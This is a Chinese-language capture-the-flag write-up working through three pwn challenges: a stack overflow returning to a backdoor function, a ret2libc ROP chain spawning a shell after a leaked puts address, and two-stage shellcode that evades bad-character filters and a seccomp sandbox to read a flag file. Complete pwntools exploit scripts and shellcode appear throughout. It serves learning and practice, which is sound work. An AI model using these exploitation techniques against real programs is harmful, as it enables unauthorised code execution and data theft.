走后门
ssize_t vuln(){ int v1; // [rsp+Ch] [rbp-44h] BYREF _BYTE buf[64]; // [rsp+10h] [rbp-40h] BYREF
puts(aMaybeIfYouGive); puts("So how many do you want to give?"); __isoc99_scanf("%d", &v1); puts("Now plz give it to me"); if ( v1 <= 0 ) { puts("Don't get cute with me and I am not the genie."); exit(0); } return read(0, buf, v1);}很明显的栈溢出:读取的长度由我们自己决定,程序就原样往 buf 里写入这么多字节。
buf 长度为 64,再加上 8 字节的 saved rbp,构成第一部分的填充(共 72 字节)。
.text:0000000000401209 backdoor proc near.text:0000000000401209 ; __unwind {.text:0000000000401209 endbr64.text:000000000040120D push rbp.text:000000000040120E mov rbp, rsp.text:0000000000401211 lea rax, s ; "If it's enough,you can get anything you"....text:0000000000401218 mov rdi, rax ; s.text:000000000040121B call _puts.text:0000000000401220 lea rax, command ; "/bin/sh".text:0000000000401227 mov rdi, rax ; command.text:000000000040122A call _system.text:000000000040122F nop.text:0000000000401230 pop rbp.text:0000000000401231 retn.text:0000000000401231 ; } // starts at 401209.text:0000000000401231 backdoor endp.text:0000000000401231IDA 里已经列出了后门函数,所以跳转地址确定为 0x401209。
另外,由于 x86-64 的调用约定要求调用时 rsp 按 16 字节对齐(system 内部会使用 movaps 这类要求对齐的指令),而 retn 会多弹出一次栈,所以还需要在跳转地址前多加一个 8 字节的 retn 来把 rsp 对齐回去。
.text:0000000000401232 ; __unwind {.text:0000000000401232 endbr64.text:0000000000401236 push rbp.text:0000000000401237 mov rbp, rsp.text:000000000040123A sub rsp, 50h.text:000000000040123E lea rax, aMaybeIfYouGive ; "Maybe if you give me enough things,you "....text:0000000000401245 mov rdi, rax ; s.text:0000000000401248 call _puts.text:000000000040124D lea rax, aSoHowManyDoYou ; "So how many do you want to give?".text:0000000000401254 mov rdi, rax ; s.text:0000000000401257 call _puts.text:000000000040125C lea rax, [rbp+var_44].text:0000000000401260 mov rsi, rax.text:0000000000401263 lea rax, aD ; "%d".text:000000000040126A mov rdi, rax.text:000000000040126D mov eax, 0.text:0000000000401272 call ___isoc99_scanf.text:0000000000401277 lea rax, aNowPlzGiveItTo ; "Now plz give it to me".text:000000000040127E mov rdi, rax ; s.text:0000000000401281 call _puts.text:0000000000401286 mov eax, [rbp+var_44].text:0000000000401289 test eax, eax.text:000000000040128B jle short loc_4012A6.text:000000000040128D mov eax, [rbp+var_44].text:0000000000401290 movsxd rdx, eax ; nbytes.text:0000000000401293 lea rax, [rbp+buf].text:0000000000401297 mov rsi, rax ; buf.text:000000000040129A mov edi, 0 ; fd.text:000000000040129F call _read.text:00000000004012A4 jmp short locret_4012BF.text:00000000004012A6 ; ---------------------------------------------------------------------------.text:00000000004012A6.text:00000000004012A6 loc_4012A6: ; CODE XREF: vuln+59↑j.text:00000000004012A6 lea rax, aDonTGetCuteWit ; "Don't get cute with me and I am not the"....text:00000000004012AD mov rdi, rax ; s.text:00000000004012B0 call _puts.text:00000000004012B5 mov edi, 0 ; status.text:00000000004012BA call _exit.text:00000000004012BF ; ---------------------------------------------------------------------------.text:00000000004012BF.text:00000000004012BF locret_4012BF: ; CODE XREF: vuln+72↑j.text:00000000004012BF leave.text:00000000004012C0 retn.text:00000000004012C0 ; } // starts at 401232.text:00000000004012C0 vuln endp注意到这里正好有一个现成的 retn,那就先塞这个地址(0x4012C0),再接上后门地址。
我的payload
from pwn import *p = process("./pwn")p.recvuntil(b'So how many do you want to give?')p.sendline(b'88')p.recvuntil(b'Now plz give it to me')payload = b'A' * 72 + p64(0x4012C0) + p64(0x401209)p.sendline(payload)p.interactive()helloworld
我差点他妈的就跑去查壳了(

RUNPATH 为 b'.',说明题目额外提供的那个 libc.so.6 要派上用场了,也就是:
libc = ELF('./libc.so.6')先看main函数
int __fastcall main(int argc, const char **argv, const char **envp){ char buf[32]; // [rsp+0h] [rbp-20h] BYREF
init(argc, argv, envp); puts("Check your programming skill:"); puts("fill in the blank:"); puts("#include <stdio.h>"); puts("#include <stdlib.h>"); puts(&byte_402081); puts("int main(){"); puts(" _______ (\"Hello World!\");"); puts(" return 0;"); puts("}"); puts("Your answer:"); read(0, buf, 0x1Fu); buf[strcspn(buf, "\n")] = 0; if ( !strcmp(buf, "puts") ) { printf("This function seems to be unsafe,right? %p\n", &puts); } else if ( !strcmp(buf, "printf") ) { printf("This function seems to be unsafe,right? %p\n", &printf); } else { puts("Go and learn more about C and libc"); } vuln(); return 0;}这里有一个 buf 输入及检测:输入 puts 可以让程序打印出 puts 的真实地址,随后程序会进入 vuln。
ssize_t vuln(){ _BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF
puts("Now show me your real pwn skill:"); return read(0, buf, 0xC8u);}0xC8 明显大于 64,所以这里存在栈溢出,现在就可以考虑构造 payload 了。
0x40 = 64,刚好填满 buf,再加上 8 字节的 saved rbp,之后就是我们可以控制的返回地址。
在二进制里搜了一圈,没找到 system。
那就是该上动态调试了

没有 PIE,开启了 NX,并且有 RUNPATH。
RUNPATH: b'.'这表示程序的
RUNPATH被设置为.(当前目录)。也就是说,程序运行时,动态链接器会优先在当前工作目录搜索共享库。

可以看到,输入 64 个字符就已经把 buf 填满了,再加上 8 字节的 saved rbp,也就是 72 字节之后就开始覆盖返回地址了;而且每次调试时 puts 的地址都是随机变化的(ASLR 导致 libc 基址随机)。
那么下一个问题就是 ret 和 pop rdi; ret 这两个 gadget 的地址。
(base) dxfaker@LAPTOP-US9FCLPD:/mnt/d/ctf/flag/pwn/moectf/Hello-World01/helloworld/helloworld$ ROPgadget --binary pwn | grep "pop rdi ; ret"0x00000000004013d3 : pop rdi ; ret(base) dxfaker@LAPTOP-US9FCLPD:/mnt/d/ctf/flag/pwn/moectf/Hello-World01/helloworld/helloworld$ ROPgadget --binary pwn | grep -m1 ": ret$"0x000000000040101a : ret这些 gadget 在 IDA 里看不到,所以得用 ROPgadget。
然后就是利用题目提供的 libc.so.6 了。
在主程序里找半天都没找到 system 和 /bin/sh,那就去另一个文件里找:
(base) dxfaker@LAPTOP-US9FCLPD:/mnt/d/ctf/flag/pwn/moectf/Hello-World01/helloworld/helloworld$ strings -a -t x libc.so.6.orig | grep '/bin/sh' 1b45bd /bin/sh(base) dxfaker@LAPTOP-US9FCLPD:/mnt/d/ctf/flag/pwn/moectf/Hello-World01/helloworld/helloworld$ nm -D libc.so.6.orig | grep -w system0000000000052290 W system@@GLIBC_2.2.5但要注意,函数的真实地址 = libc 基址 + 偏移,这也正是程序一开始就白送一个 puts 地址的原因 —— 我们只能利用这个已知地址来反推 libc 基址。
那就可以结束战斗了
from pwn import *
context.arch = 'amd64'elf = ELF('./pwn')libc = ELF('./libc.so.6')
pop_rdi = 0x4013d3align_ret = 0x40101a
p = process('./pwn')
p.recvuntil(b'Your answer:')p.sendline(b'puts')
p.recvuntil(b'0x')leak = int(p.recvline().strip(), 16)log.success(f'puts = {hex(leak)}')
libc.address = leak - libc.symbols['puts']system = libc.symbols['system']binsh = next(libc.search(b'/bin/sh'))
p.recvuntil(b'Now show me your real pwn skill:')payload = b'A' * 72payload += p64(align_ret)payload += p64(pop_rdi)payload += p64(binsh)payload += p64(system)p.send(payload)
p.interactive()ezpwn02
先checksec
checksec chall[*] '/mnt/d/ctf/flag/pwn/moectf/ezpwn02/pwn-ezpwn2/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled Stripped: No再看 main 函数的逻辑,这是一道经典的 ORW(open-read-write)题。
注意
mmap(0, 0x1000u, 7, 34, -1, 0)的第三个参数 prot = 7,也就是 RWX = Read(可读)+ Write(可写)+ eXecute(可执行),指一块内存页同时具备这三种权限。
int __fastcall main(int argc, const char **argv, const char **envp){ char *v3; // rax void (__fastcall *v4)(_QWORD); // rbx _BYTE *v5; // rsi char *v6; // rax unsigned int buf; // [rsp+1Ch] [rbp-7Ch] BYREF _QWORD v9[2]; // [rsp+20h] [rbp-78h] BYREF _QWORD v10[13]; // [rsp+30h] [rbp-68h] BYREF
setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); puts("ezpwn02"); puts("stage1: max 40 bytes"); puts("badchars: 00 0a 20 2f 66 6c 61 67"); // 禁用字符 puts("seccomp: read/write/openat/exit only"); // 只允许这几个功能出现 buf = 0; read_exact_constprop_0((char *)&buf, 4u); if ( buf - 1 > 0x27 ) { puts("bad stage1 length"); return 1; } // 限制长度在 1~40 之间 v3 = (char *)mmap(0, 0x1000u, 7, 34, -1, 0); v4 = (void (__fastcall *)(_QWORD))v3; if ( v3 == (char *)-1LL ) { puts("mmap failed."); return 1; } read_exact_constprop_0(v3, buf); if ( buf ) { v5 = v4; while ( 2 ) { v6 = (char *)&badchars; do { if ( *v5 == *v6 ) { puts("badchar detected in stage1"); return 1; } ++v6; } while ( &_GNU_EH_FRAME_HDR != (_UNKNOWN *)v6 ); if ( (char *)v4 + buf != ++v5 ) continue; break; } } puts("stage1 accepted"); v10[0] = 0x400000020LL; v10[1] = 0xC000003E00010015LL; v10[2] = 0x8000000000000006LL; v10[5] = 0x100040015LL; v10[9] = 0x8000000000000006LL; v10[6] = 0x10100030015LL; v10[10] = 0x7FFF000000000006LL; v10[7] = 0x3C00020015LL; v10[8] = 0xE700010015LL; v9[1] = v10; v10[3] = 32; v10[4] = 327701; v9[0] = 11; if ( prctl(38, 1, 0, 0, 0) || prctl(22, 2, v9) ) _exit(1); v4(v4); return 0;}可以看到程序给出的 badchars(坏字符)列表:
| 字节 | 缩写 | 含义 |
|---|---|---|
00 | NUL | 空字符,字符串终止符 |
0a | LF | 换行符 \n |
20 | SPACE | 空格 |
2f | / | 斜杠 |
66 | f | 字母 f |
6c | l | 字母 l |
61 | a | 字母 a |
67 | g | 字母 g |
if ( buf ) { v5 = v4; while ( 2 ) { v6 = (char *)&badchars; do { if ( *v5 == *v6 ) { puts("badchar detected in stage1"); return 1; } ++v6; }一旦检测到 badchar,程序就会直接打印提示并 return 1 退出。
也就是说,不能直接写入 /flag 这样的字符串 —— / 和 flag 的四个字母全在禁用列表里。
read_exact_constprop_0((char *)&buf, 4u); // ① 读取 4 字节,存入 bufif ( buf - 1 > 0x27 ) // ② 检查 buf 是否在 1~40 之间{ // ...(长度不合法则退出)read_exact_constprop_0(v3, buf); // ③ 读取 buf 字节的 shellcodeOK那我们来复习一下把大象关进冰箱要几步
- 打开 flag 文件。
- 读取文件内容。
- 输出文件内容。
- 退出程序。
也就是 openat、read、write、exit 四个系统调用。
但很明显,stage1 有 40 字节的长度限制,还有坏字符限制,无法一次性把 payload 全部塞进去。
不过注意到 mmap 分配了 0x1000 字节且可读可写可执行的内存,而程序最后又通过 v4(v4) 跳转到这块内存去执行我们写入的内容。那就意味着:我们可以先用一次 read 把更长的 payload 读进这块内存(这次读取的长度由我们自己决定),再跳转过去执行。
鸡毛检查都没有,那我不就结束战斗了
read(0, page + 0x40, 0x1000);编译
mov rsi, rdi ;rsi为页首地址add rsi, 0x40xor edi, edixor edx, edxmov dh, 0x10xor eax, eaxsyscalljmp rsi ;跳转到 rsi(即页首 + 0x40)处,执行刚刚读入的第二阶段 shellcode。第二阶段:
打开、读取、输出、退出。
int fd = openat(-100, "flag", 0, 0); // 打开文件char buf[0x100];int n = read(fd, buf, sizeof buf); // 读内容write(1, buf, n); // 打到标准输出_exit(0);那么 read 需要的东西:
ssize_t read(int fd, void *buf, size_t count);stage2 = asm(shellcraft.amd64.linux.openat(-100, '/flag', 0, 0))stage2 += asm(shellcraft.amd64.linux.read('rax', 'rsp', 0x100))stage2 += asm(shellcraft.amd64.linux.write(1, 'rsp', 'rax'))stage2 += asm(shellcraft.amd64.linux.exit(0))read('rax', 'rsp', 0x100)# ↑ ↑ ↑# fd buf 长度# rax 的值 rsp 的值 0x100再复习一下:rax 用来接收 openat 的返回值(也就是文件描述符 fd),缓冲区直接丢在可写的栈上(rsp),最后写到标准输出并退出。
进程 A 的文件表(fd)┌────┬──────────────────┐│ 0 │ → 终端输入 ││ 1 │ → 终端输出 ││ 2 │ → 终端错误 ││ 3 │ → flag 文件 ★ │ ← openat 返回 3,就是这张表的“行号”└────┴──────────────────┘也就是
from pwn import *
context.arch = 'amd64'context.os = 'linux'context.log_level = 'info'
BAD = b'\x00\x0a\x20\x2f\x66\x6c\x61\x67'
stage1 = asm(''' mov rsi, rdi xor edi, edi add rsi, 0x40 xor edx, edx mov dh, 0x10 xor eax, eax syscall jmp rsi''')
stage2 = asm(shellcraft.amd64.linux.openat(-100, '/flag', 0, 0))stage2 += asm(shellcraft.amd64.linux.read('rax', 'rsp', 0x100))stage2 += asm(shellcraft.amd64.linux.write(1, 'rsp', 'rax'))stage2 += asm(shellcraft.amd64.linux.exit(0))
# io = remote('127.0.0.1', 64835)io = process("./chall")io.recvuntil(b'seccomp: read/write/openat/exit only\n')io.send(p32(len(stage1)) + stage1 + stage2)
out = io.recvall(timeout=6)print(out.decode(errors='replace'))Some information may be outdated